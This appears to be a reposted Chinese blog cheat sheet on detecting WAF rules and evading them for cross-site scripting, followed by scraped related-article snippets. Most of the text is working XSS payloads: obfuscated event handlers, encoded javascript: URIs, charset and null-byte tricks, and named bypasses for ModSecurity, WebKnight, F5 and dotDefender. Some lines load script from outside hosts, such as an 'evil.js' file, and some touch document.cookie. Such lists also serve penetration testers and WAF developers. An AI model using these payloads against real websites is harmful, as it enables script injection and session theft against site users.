XSS现代WAF规则探测及绕过技术
初始测试

1、使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;

2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;

3、尝试以下的payload

 <script>alert();</script>
 <script>prompt();</script>
 <script>confirm      ();</script>
 <script src="http://rhainfosec.com/evil.js">

判断是否触发过滤规则,尝试使用大小写混合字符

 <scRiPt>alert();</scrIPt>

1、如果大小写不行的话,<script>被过滤尝试

 <scr<script>ipt>alert()</scr<script>ipt>;

2、使用<a>标签测试

 <a  href=“http://www.google.com">Clickme</a>

<a被过滤?

href被过滤?

其他内容被过滤?

如果没有过滤尝试使用

<a href=”javascript:alert()”>Clickme</a>

尝试使用错误的事件查看过滤

 <a href=)>ClickHere</a>

HTML5拥有150个事件处理函数,可以多尝试其他函数

 <body/onhashchange=alert()><a href=#>clickit

测试其他标签

src属性

     <img src=x      onerror=prompt();>
     <img/src=aaa.jpg      onerror=prompt();
     <video src=x      onerror=prompt();>
     <audio src=x      onerror=prompt();>

iframe

 <iframesrc="javascript:alert(2)">
     <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

Embed

 <embed/src=//goo.gl/nlX0P>

Action

 <form action="Javascript:alert(1)"><input type=submit>
 <isindex action="javascript:alert(1)" type=image>
 <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert() type=image>
 <isindex action=data:text/html, type=image>

mario验证

1 <span class="pln">    </span>
2 <span class="tag">&lt;formaction</span>
3 <span class="pun">=</span>
4 <span class="atv">&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span>
5 <span class="tag">&gt;&lt;button&gt;</span>
6 <span class="pln">CLICK</span>

"formaction"属性

 <isindexformaction="javascript:alert(1)"      type=image>
 <input type=)>
 <form><button formaction=javascript&colon;alert()>CLICKME

“background”属性

 <table background=javascript:alert()></table> // Works on Opera 10.5      and IE6

“posters” 属性

 <video poster=javascript:alert()//></video> // Works Upto Opera 10.5

“data”属性

 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 <object/data=//goo.gl/nlX0P?

“code”属性

     <applet code="javascript:confirm(document.cookie);"> // Firefox Only
     <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

事件处理

     <svg/onload=prompt();>
     <marquee/onstart=confirm()>/
     <body onload=prompt();>
     <)>
     <textarea autofocus onfocus=alert()>
     <keygen autofocus onfocus=alert()>
     <video><source onerror="javascript:alert(1)">

短payload

 <q/oncut=open()>
 <q/oncut=alert()> //      Useful in-case of payload restrictions.

嵌套欺骗

 <marquee<marquee/onstart=confirm()>/onstart=confirm()>
 <body  language=vbsonload=alert- // Works with IE8
 <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8

圆括号被过滤

 <a onmouseover="javascript:window.onerror=alert;throw 1>
 <img src=x onerror="javascript:window.onerror=alert;throw 1">
 <body/onload=javascript:window.onerror=eval;;=alert\x281\x29&#;;

Expression 属性

 <img style="xss:expression(alert(0))"> // Works upto IE7.
 <div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
 <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7

“location”属性

 <a onmouseover=location=’javascript:alert()>click
 <body onfocus="location='javascrpt:alert(1) >123

其他Payload

 <meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
 <meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
 <svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
 <svg xmlns:xlink=).1s" fill="freeze"/> // By Mario
 <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
 <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
 <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed

();:被过滤

  <svg><script>alert&#//&#</script>      // Works With All Browsers
     (
     ) 

Opera的变量

 <svg><script>alert&#      &# // Works with Opera Only

实体解码

 &lt;/script&gt;&lt;script&gt;alert()&lt;/script&gt;
 <a  href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>

编码

JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,
Hexadecimal, and Unicode)

 href=
 action=
 formaction=
 location=
 on*=
 name=
 background=
 poster=
 src=
 code=
 data= //只支持base64

基于上下文的过滤

WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式

输入反射属性

 <input value="XSStest" type=text>

我们可以使用 “><imgsrc=x  onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本

 ) x="
 " onfocusin=alert(1)     autofocus x="
 " onfocusout=alert(1)     autofocus x="
 " onblur=alert(1) autofocus     a="

输入反射在<script>标签内

类似这种情况:

<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
confirm() ,例如:

“;alert(1)//
非常规事件监听

DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:

 ";document.body.addEventListener("DOMActivate",alert(1))//
 ";document.body.addEventListener("DOMActivate",prompt(1))//
 ";document.body.addEventListener("DOMActivate",confirm(1))//

此类事件的列表

DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
超文本内容

代码中的情况如下

 <a
 href=”Userinput”>Click</a>
 可以使用javascript:alert()//直接执行<a
 href=”javascript:alert()//”>Click</a>

变形

主要包含大小写和

JavaScript变形

     javascript&#;alert()
     javaSCRIPT&colon;alert()
     JaVaScRipT:alert()
     javas&Tab;cript:\u0061lert();
     javascript:\u0061lert(&#x29
     javascript:alert&lpar;document&period;cookie&rpar;      // AsharJaved

IE10以下和URI中可以使用VBScript

     vbscript:alert();
     vbscript&#;alert();
     vbscr&Tab;ipt:alert()"

Data URl

 data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JSON内容

反射输入

     encodeURIComponent(&#;userinput&#;)

可以使用

-alert(1)-
    -prompt(1)-
    -confirm(1)-
结果

encodeURIComponent(''-alert(1)-'')
    encodeURIComponent(''-prompt(1)-'')
输入反射在svg标签内

源码如下:

 <svg><script>varmyvar=”YourInput”;</script></svg>

可以输入

www.site.com/test.php?var=text”;alert(1)//
如果系统编码了”字符

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理

浏览器BUG

字符集BUG

字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。

示例

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
src=x onerror=prompt(0);>
可以修改为UTF-32编码形式

∀㸀㰀script㸀alert(1)㰀/script㸀
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
空字节

最长用来绕过mod_security防火墙,形式如下:

     <scri%00pt>alert();</scri%00pt>
     <scri\x00pt>alert();</scri%00pt>
     <s%00c%00r%%00ip%00t>confirm();</s%00c%00r%%00ip%00t>

空字节只适用于PHP 5.3.8以上的版本

语法BUG

RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行

     <script>alert();</script>
     <%0ascript>alert();</script>
     <%0bscript>alert();</script>

<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload

 <//     style=x:expression\28write(1)\29> // Works upto IE7

参考http://html5sec.org/#71

<!--[if]><script>alert(1)</script     --> // Works upto IE9
参考http://html5sec.org/#115

<?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7
参考 http://html5sec.org/#77

<%div%20style=xss:expression(prompt(1))>     // Works Upto IE7
Unicode分隔符

[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:

IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
    Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
    Safari = [0x2C,0x3B]
    FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
    Opera = [0x09,0x20,0x2C,0x3B]
    Android =     [0x09,0x20,0x28,0x2C,0x3B]
    x0b在Mod_security中已经被过滤,绕过的方法:
    <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
缺少X-frame选项

通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式

expression(open(alert(1)))
以下POC可以插入到IE7中

     <html>
     <body>
     <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
     <iframesrc="https://targetwebsite.com">
     </body>
     </html>

Window.name欺骗

情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码

POC

 <iframesrc=&#;http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//'
 name="javascript:alert("XSS")"></iframe>

DOM型XSS

服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:

     <script>
     vari=location.hash;
     document.write(i);
     </script>

在一些情况下,反射型XSS可以转换成DOM型XSS:

http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码

        Location.hash[] = :  // Defined at the first position after     the hash.
         Location.hash[]= (  // Defined at the second position after     the has
         Location.hash[] = ) // Defined     at third position after the hash.

如果有客户端过滤可能不适用

绕过

ModSecurity绕过

    <scri%00pt>confirm();</scri%00pt>
    <a/onmouseover[\x0b]=location=&#;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#;>rhainfosec

参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WEB KNIGHT绕过

    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert() type=image>
    <marquee/onstart=confirm()>

F5 BIG IP ASM and Palo ALTO绕过

     <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
     “/><marquee  onfinish=confirm()>a</marquee>

Dot Defender绕过

     <svg/onload=prompt();>
     <isindex action="javas&tab;cript:alert(1)" type=image>
     <marquee/onstart=confirm()>

Web安全--XSS现代WAF规则探测及绕过技术的更多相关文章

  1. [转]XSS现代WAF规则探测及绕过技术

    初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...

  2. WAF指纹探测及识别技术<freebuf>

    Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HT ...

  3. WAF指纹探测及识别技术

    Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HT ...

  4. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  5. Web应用安全防护-WAF

    web应用开发中不可避免需要考虑web应用的安全问题,那么常见的安全风险包含哪些呢? Web应用常见的安全风险 在web应用开发中可能存在以下的安全风险: 安全风险Top 10 A1:2017-注入 ...

  6. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  7. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  8. web安全-xss攻击

    web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&amp'); str = str.replac ...

  9. [WEB安全]XSS命令总结

    一:正常构造方式: 1.无过滤,直接写: <script>alert(1)</script> 2.正常截断: "> <script>alert(1) ...

随机推荐

  1. LeetCode126:Word Ladder

    题目: Given two words (start and end), and a dictionary, find the length of shortest transformation se ...

  2. servlet中的转发和重定向问题

    重定向和请求转发在学习servlet的时候很容易混淆,故在此特意记录. 1. 重定向---------sendRedirect()方法 Servlet响应请求有两种方式,一个是重定向,返回一个页面给客 ...

  3. ahjesus Unity3D界面快捷键

    F Frame selection Tab Shift focus between first column and second column (Two columns) Ctrl/Cmd + F ...

  4. .Net开发人员有趣的Podcast

            如果你是一个.Net开发人员,那么一定不要错过这些Podcasts,它们可是即可以了解IT业态,又可以锻炼英文听力.有采访很多开源人员,涉及项目等等.先尽力听他们说什么,然后再看Tra ...

  5. java service wrapper 级别为info导致内存剧增直至溢出

    上周,公司某一环境发生java service wrapper内存剧增导致最后被自动killed的情况,经过分析,确定导致java service wrapper(后续简称wrapper)守护进程内存 ...

  6. android:ellipsize实现跑马灯效果总结(转)

      最近无意间看到了涉及到跑马灯效果的代码,于是在网上查阅了很多资料,在这里对自己看的一些文章进行一下总结,顺便加上自己的一些体会. 让我们一步步逐渐向下. 首先我们要实现走马灯这样一个效果,通常来说 ...

  7. 一些实用但不为人知的Unix命令

    浮现在脑海的很多 Linux命令,其中一些不为人知,另一些则很常见,如下: xargs or parallel: 并行运行一些程序,命令有很多的选项 sed and awk: 广为人知并且非常有用的处 ...

  8. SharePoint 2013 - User

    1. 在SharePoint 2010中,可以搜索出NT AUTHORITY\authenticated users,但在SharePoint 2013中,不能搜索出,需要手动写入全名后进行验证: 2 ...

  9. SharePoint 2013 Installation and Configuration Issues

    # Issue 1: During Installing SharePoint 2013 Prerequisites there was an error in installing Applicat ...

  10. How to Build Office Developer Tools Projects with TFS Team Build 2012

    Introduction Microsoft Visual Studio 2012 provides a new set of tools for developing apps for Office ...